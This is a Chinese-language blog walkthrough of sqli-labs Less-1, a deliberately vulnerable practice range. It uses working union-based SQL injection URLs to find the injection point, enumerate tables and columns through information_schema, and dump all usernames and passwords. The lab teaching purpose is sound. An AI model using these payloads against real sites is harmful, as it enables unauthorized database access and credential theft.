资源放在下面,自取
https://blog.csdn.net/qq_45514735?spm=1011.2266.3001.5343
打开第一关我们看看
这里提示我们id参数有问题,尝试拼接url(其实第一关考验的就是get获取参数)
http://192.168.5.247/sqli-labs-master/Less-1/?id=1
ok,界面返回账号密码,这说明网站对我们修改的数据做出回应了,但这是靶场设置的回显,实战环境当然不会有,在这里我们就可以怀疑参数id是不是一个注入点,接下来我们对他进行进一步测试
http://192.168.5.247/sqli-labs-master/Less-1/?id=1 union select 1 --+
此处
union:用于合并前后两个查询,要求字段相同
SQL UNION 操作符 | 菜鸟教程 (runoob.com)
select:数据库查询语句,1代表一个字段
因为没有后续查询,这玩意只会返回一个字段,内容为1
用来测试回显位置
--+:--代表了数据库的注释符,而‘+’在url中表示一个空格
因为我们输入的注入语句会作为sql语句的一部分拼接到正常的sql语句里面去
但是正常的参数后面跟着的查询会导致诸如语句出错,所以
--注释掉后面的会干扰注入语句的部分,提前闭合查询
但是却没有任何改变
这是因为id=1的查询得到了结果,但是网站只返回第一个,所以我们要把id变成一个不存在的数
http://192.168.5.247/sqli-labs-master/Less-1/?id=-1 union select 1 --
依然没有结果
别急,继续构造select字段
http://192.168.5.247/sqli-labs-master/Less-1/?id=-1 union select 1,2 --+
http://192.168.5.247/sqli-labs-master/Less-1/?id=-1 union select 1,2,3 --+
为社么还是没有结果呢,我们查看一下源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
代码中的sql语句id两边有单引号,但是我们的注入语句没有单引号,这样的话整个语句就被视为参数了,我们在id后加一个 ‘ 试试
http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+
ok。成功获得回显,经过测试
http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,2,3,4..... --+
select后的字段只有三个,超过三就会报错了
到这里我们就成功找到注入点了,并且找到了闭合语句的方法
基础讲解,MySQL数据库里有一个专门存放数据库内其他库的表和列名的库
我们通过查询这个库来获得我们所需要的信息
table_name:表名
column_name:列名
table_schema:数据库名
information_schema.columns:存储列明信息的表
information_schema.schemata:存储数据库和表名信息的表
mysql中的符号“.“表示下一级
如:information_schema.tables:这个数据库下的表
http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,database(),3 --+
这里将字段2替换为获取数据库名的方法
database():这是数据库自带的函数,显示当前正在使用的数据库
得到数据库名为:security
构造语句
http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+
http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+
这里
group_concat():作用为将查到的多个值拼接成一个字符串,将返回值一次性输出
table_name:这个是information_schema数据库中tables 存放所有表信息的表名字的字段
where table_schema=database():因为数据库中可能存在重名表,所以在这里添加一个条件,限定数据库名为当前数据库
成功
有上一步得到数据库内有 emails,referers,uagents,users这几个库,咱们以users表为例
构造语句:
http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+
http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+
此处
column_name:是information_schema库中存放列名的表columns中的表示字段的列
where table_name='users' and table_schema='security':
这里为防止重名。除了加上数据库条件外,还要加上表名条件,这样就能确定唯一的表字段
成功将所有字段一次性爆出 id,username,password
构造语句
一次性获取所有值(适合小数据库)
http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
每次获取一个值
http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,username,password from users limit 0,1 --+
http://192.168.5.247/sqli-labs-master/Less-1/?id=-1' union select 1,username,password from users limit 0,1 --+
limit 0,1
表示从第0个开始,获取一个结果
ok,到此为止就获取到这个靶场的所有数据了,靶场搭建和资源一会上传
请关注我获取后续教程
https://blog.csdn.net/qq_45514735?spm=1019.2139.3001.5343
链接:https://pan.baidu.com/s/1P9rfYJAShM5I7MEwMR4FmA
提取码:ttzj